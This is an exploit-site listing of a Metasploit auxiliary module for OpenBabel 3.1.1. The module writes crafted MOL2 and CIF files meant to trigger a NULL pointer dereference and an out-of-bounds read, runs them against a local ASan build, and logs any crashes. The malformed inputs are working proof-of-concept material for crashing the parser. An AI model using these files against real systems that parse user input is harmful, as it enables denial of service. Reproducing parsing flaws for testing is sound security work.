Share
## https://sploitus.com/exploit?id=PACKETSTORM:216225
=============================================================================================================================================
| # Title : OpenBabel 3.1.1 ASan PoC Tester โ Metasploit Auxiliary Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://openbabel.org/index.html |
=============================================================================================================================================
[+] Summary : This Metasploit auxiliary module generates specially crafted PoC files targeting potential
parsing vulnerabilities in OpenBabel (e.g., NULL pointer dereference and out-of-bounds read conditions).
The module executes an AddressSanitizer (ASan)-instrumented build of OpenBabel against the generated files
to detect crashes, memory corruption issues, or abnormal termination events.
[+] POC :
##
# This module requires Metasploit Framework
# Tested with Metasploit 6.x
##
require 'msf/core'
require 'fileutils'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenBabel ASan PoC Tester',
'Description' => %q{
This module generates Proof-of-Concept (PoC) files for known OpenBabel
vulnerabilities and tests them using an AddressSanitizer (ASan) build
of OpenBabel. It logs crashes for further analysis.
},
'Author' => [ 'Indoushka' ],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('BABEL_PATH', [true, 'Path to OpenBabel ASan binary', './obabel']),
OptString.new('REPRO_DIR', [true, 'Directory to store PoC files', './repro_files']),
OptString.new('LOG_FILE', [true, 'ASan crash log file', 'asan_report.txt'])
]
)
end
def generate_pocs
repro_dir = datastore['REPRO_DIR']
FileUtils.mkdir_p(repro_dir)
mol2_content = <<~MOL2
@<TRIPOS>MOLECULE
Null_Pointer_Exploit
1 0 0 0 0
SMALL
USER_CHARGES
@<TRIPOS>ATOM
1 C 0.0000 0.0000 0.0000 C.3 1 UNL1 0.0000
@<TRIPOS>UNITY_ATOM_ATTR
2 0.5
MOL2
cif_content = <<~CIF
data_oob_read
_cell_length_a 10.0
_cell_length_b 10.0
_cell_length_c 10.0
loop_
_space_group_symop_operation_xyz
'x, y, z'
'x+1, y+2, z+3, w+4, v+5'
CIF
File.write(File.join(repro_dir, 'repro.mol2'), mol2_content)
File.write(File.join(repro_dir, 'repro.cif'), cif_content)
print_status("[+] PoC files generated in #{repro_dir}")
end
def run_test(file_path)
babel = datastore['BABEL_PATH']
null_dev = Gem.win_platform? ? 'NUL' : '/dev/null'
input_format = File.extname(file_path).delete('.')
print_status("Testing file: #{file_path} (#{input_format})")
asan_env = { 'ASAN_OPTIONS' => 'symbolize=1:abort_on_error=1:detect_leaks=0' }
cmd = "#{babel} -i#{input_format} #{file_path} -osmi -O #{null_dev}"
result = ''
begin
result = `#{asan_env.map{|k,v| "#{k}=#{v}"}.join(' ')} #{cmd} 2>&1`
if $?.exitstatus != 0 || result.include?('ERROR: AddressSanitizer')
print_good("[!] Potential crash detected!")
File.open(datastore['LOG_FILE'], 'a') do |f|
f.puts("="*60)
f.puts("File: #{file_path}")
f.puts("Timestamp: #{Time.now}")
f.puts(result)
f.puts("\n")
end
else
print_status("No crash detected.")
end
rescue ::Exception => e
print_error("Error executing test: #{e}")
end
end
def run
babel = datastore['BABEL_PATH']
unless File.exist?(babel)
print_error("OpenBabel binary not found at #{babel}")
return
end
generate_pocs
Dir.glob(File.join(datastore['REPRO_DIR'], '*')).each do |file|
next unless File.file?(file)
run_test(file)
end
print_status("[+] Testing completed. Report saved to #{datastore['LOG_FILE']}")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================